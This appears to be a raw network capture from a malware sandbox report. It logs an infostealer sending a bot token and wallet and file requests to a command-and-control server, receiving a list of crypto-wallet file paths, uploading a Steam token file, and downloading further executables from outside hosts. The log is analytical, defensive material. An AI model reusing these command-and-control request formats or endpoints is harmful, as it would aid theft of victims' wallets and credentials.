Nov 12, 2024 02:13:31.531296968 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EGHCAKKEGCAAFHJJJDBK Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 48 43 41 4b 4b 45 47 43 41 41 46 48 4a 4a 4a 44 42 4b 2d 2d 0d 0a Data Ascii: ------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------EGHCAKKEGCAAFHJJJDBKContent-Disposition: form-data; name="message"wallets------EGHCAKKEGCAAFHJJJDBK--
Nov 12, 2024 02:13:31.819462061 CET	1236	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:31 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 12, 2024 02:13:31.821408033 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FCBFBGDBKJKECAAKKFHD Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 46 43 42 46 42 47 44 42 4b 4a 4b 45 43 41 41 4b 4b 46 48 44 2d 2d 0d 0a Data Ascii: ------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------FCBFBGDBKJKECAAKKFHDContent-Disposition: form-data; name="message"files------FCBFBGDBKJKECAAKKFHD--
Nov 12, 2024 02:13:32.108630896 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:31 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:32.120286942 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKEBFCFIJJKKECAKJEHD Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 45 42 46 43 46 49 4a 4a 4b 4b 45 43 41 4b 4a 45 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKEBFCFIJJKKECAKJEHDContent-Disposition: form-data; name="file"------AKEBFCFIJJKKECAKJEHD--
Nov 12, 2024 02:13:32.902483940 CET	202	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:32 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 02:13:32.930891037 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAAFCAFCBKFHJJJKKFH Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 41 46 43 41 46 43 42 4b 46 48 4a 4a 4a 4b 4b 46 48 2d 2d 0d 0a Data Ascii: ------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------EBAAFCAFCBKFHJJJKKFHContent-Disposition: form-data; name="message"ybncbhylepme------EBAAFCAFCBKFHJJJKKFH--
Nov 12, 2024 02:13:33.217981100 CET	271	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49763	185.215.113.16	80	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:33.232470989 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 12, 2024 02:13:34.155245066 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:13:34 GMT Content-Type: application/octet-stream Content-Length: 3203072 Last-Modified: Tue, 12 Nov 2024 00:57:39 GMT Connection: keep-alive ETag: "6732a803-30e000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 ca 01 00 00 00 00 00 00 f0 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf0@ 11@Wk800 @.rsrc@.idata @hpnwpmll0$@wlnxkvfe00@.taggant00"0@
Nov 12, 2024 02:13:34.155261993 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:13:34.155291080 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:13:34.155307055 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 12, 2024 02:13:34.155323982 CET	1236	IN	Data Raw: e5 ae b3 e8 ed 3d db 52 55 c9 99 7a 56 21 90 98 9e 6d e8 f0 a0 ee ef e8 0d ee 34 d4 99 57 f4 70 45 ad b3 e8 ed 1d da 52 55 c9 b9 7a 56 21 90 f8 9e 6d e8 f0 80 ee ef e8 0d ee 34 d4 99 57 ec 70 75 ad b3 e8 ed cd d7 52 55 c9 d9 7a 56 21 90 58 9f 6d Data Ascii: =RUzV!m4WpERUzV!m4WpuRUzV!Xm4Wp}ERUzV!m4WpRU{V!m 4WpRU9{V!xm4Wp1RUY{V!m`4WpRUy{V!8m
Nov 12, 2024 02:13:34.155334949 CET	760	IN	Data Raw: 60 e2 ef e8 0d ee 34 d4 99 57 ec 70 19 ab b3 e8 ed 15 db 52 55 c9 79 77 56 21 90 38 8d 6d e8 f0 40 e2 ef e8 0d ee 34 d4 99 57 ec 70 01 ab b3 e8 ed 91 a3 52 55 c9 99 77 56 21 90 98 8d 6d e8 f0 a0 e3 ef e8 0d ee 34 d4 99 57 f0 70 09 ab b3 e8 ed 9d Data Ascii: `4WpRUywV!8m@4WpRUwV!m4WpRUwV!m4Wp=RUwV!Xm4Wp%RUwV!m4Wp-RUpV!m 4WpRU9pV!xm4WpE
Nov 12, 2024 02:13:34.155348063 CET	1236	IN	Data Raw: 56 21 90 d8 b5 6d e8 f0 60 e5 ef e8 0d ee 34 d4 99 57 f0 70 e9 aa b3 e8 ed c5 da 52 55 c9 79 72 56 21 90 38 b6 6d e8 f0 40 e5 ef e8 0d ee 34 d4 99 57 f0 70 9d aa b3 e8 ed 5d d8 52 55 c9 99 72 56 21 90 98 b6 6d e8 f0 a0 e6 ef e8 0d ee 34 d4 99 57 Data Ascii: V!m`4WpRUyrV!8m@4Wp]RUrV!m4WpuRUrV!m4Wp5RUrV!Xm4WpRUrV!m4Wp]QRUsV!m 4WpE=RU9sV!xm4W
Nov 12, 2024 02:13:34.155359030 CET	1236	IN	Data Raw: 45 b5 b3 e8 ed 8d dd 52 55 c9 39 4f 56 21 90 78 a4 6d e8 f0 00 9a ef e8 0d ee 34 d4 99 57 f4 70 61 b5 b3 e8 ed d5 db 52 55 c9 59 4f 56 21 90 d8 a4 6d e8 f0 60 9a ef e8 0d ee 34 d4 99 57 f4 70 11 b5 b3 e8 ed 1d df 52 55 c9 79 4f 56 21 90 38 a5 6d Data Ascii: ERU9OV!xm4WpaRUYOV!m`4WpRUyOV!8m@4Wp5RUOV!m4Wp5RUOV!m4Wp-RUOV!Xm4WpRUOV!m4WpRUHV!m
Nov 12, 2024 02:13:34.155371904 CET	1236	IN	Data Raw: 91 29 75 d2 0b 44 2e ec 54 32 81 a8 d8 e0 92 19 83 60 ec d1 16 2d b8 6f 12 21 31 ef 20 2b b3 e8 97 f5 34 d4 99 f5 34 d4 99 70 10 cf c6 20 e8 47 90 f5 34 d4 99 f5 34 d4 99 7c 75 f4 03 22 62 10 d8 d0 82 f0 5d b0 ef e8 d7 ed f0 95 93 43 8b ae 51 21 Data Ascii: )uD.T2`-o!1 +44p G44\|u"b]CQ!44\|ucDz(B32'T{ m)uD-444\|u?"mL!TqOuk=q{SMMT!)1S!TqL 444\|u>T"wQ!lXIT4\|u{
Nov 12, 2024 02:13:34.155386925 CET	1236	IN	Data Raw: 59 b6 b5 14 9c 2a 74 12 12 21 77 59 45 b6 bb fc 31 a8 fb e8 54 21 e8 47 34 43 75 5b b9 1e 3b f0 17 8a ef e8 df cc 8b 95 b0 46 2e 14 55 c9 5b 2d 50 21 10 b0 10 2e e8 d4 99 f5 34 d4 99 f5 34 d4 99 f5 34 d4 99 7c 75 f4 03 b6 1f 9b 13 2d 31 12 c1 2c Data Ascii: Y*t!wYE1T!G4Cu[;F.U[-P!.444\|u-1,P!mQV]vA{{ m)uD.T\|u?"mL!TqmI{Ouk=q{SMMT!c?!ulwcU!lU!&zl%T!"5uT\$\|m10t.oU1&1u
Nov 12, 2024 02:13:34.160252094 CET	1236	IN	Data Raw: 1a dd 8c 97 5a 21 e8 e8 54 78 75 5b a5 1e 3b f0 2b 8f ef e8 df cc 8b ad bd 0d 77 ef 54 ae 2c ec d0 e1 63 13 bd 52 7f ef 54 ae 14 10 da 6c 10 95 99 71 10 46 a3 22 e8 f7 f2 db e9 e8 99 f5 34 d4 99 7b 6d da 54 d1 f9 af 26 2d ba 63 52 b6 ff e9 07 2d Data Ascii: Z!Txu[;+wT,cRTlqF"4{mT&-cR-u4447\|SvV"4\|ulSSU]v]{g m)uD.T444\|ulB1k5SSUP!yT<?/MIT!uD.T44{u

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49764	185.215.113.206	80	7304	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:40.540708065 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJDGCGDAAAKECAKKJDA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 65 36 35 66 33 63 35 62 65 36 31 65 34 34 34 34 33 31 65 32 36 66 61 38 65 30 32 31 35 64 31 34 39 38 38 36 64 38 36 33 33 34 36 35 64 63 35 37 32 39 35 34 32 64 63 35 38 63 62 32 32 61 39 38 32 62 37 64 61 63 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 44 47 43 47 44 41 41 41 4b 45 43 41 4b 4b 4a 44 41 2d 2d 0d 0a Data Ascii: ------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="token"1e65f3c5be61e444431e26fa8e0215d149886d8633465dc5729542dc58cb22a982b7dac3------BKJDGCGDAAAKECAKKJDAContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BKJDGCGDAAAKECAKKJDA--
Nov 12, 2024 02:13:41.976851940 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 01:13:41 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49765	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:50.436531067 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:13:51.366189957 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:13:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49766	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:52.881550074 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:13:53.902625084 CET	558	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:13:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 66 0d 0a 20 3c 63 3e 31 30 30 35 36 36 33 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 36 36 34 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 35 36 36 35 30 33 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 35 66 39 64 64 30 32 34 36 62 35 63 62 34 66 36 35 32 32 34 32 37 66 61 65 31 64 61 61 38 65 39 65 62 34 66 66 66 37 62 35 63 36 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 35 36 36 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16f <c>1005663001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1005664001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1005665031+++b5937c1a99d5f9dd0246b5cb4f6522427fae1daa8e9eb4fff7b5c630804042ba5ce902415450#1005666001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49767	185.215.113.16	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:13:53.910630941 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 12, 2024 02:13:54.823285103 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:13:54 GMT Content-Type: application/octet-stream Content-Length: 3147264 Last-Modified: Tue, 12 Nov 2024 00:10:51 GMT Connection: keep-alive ETag: "67329d0b-300600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d2 00 00 00 00 00 00 00 10 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 30 00 00 04 00 00 91 b8 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 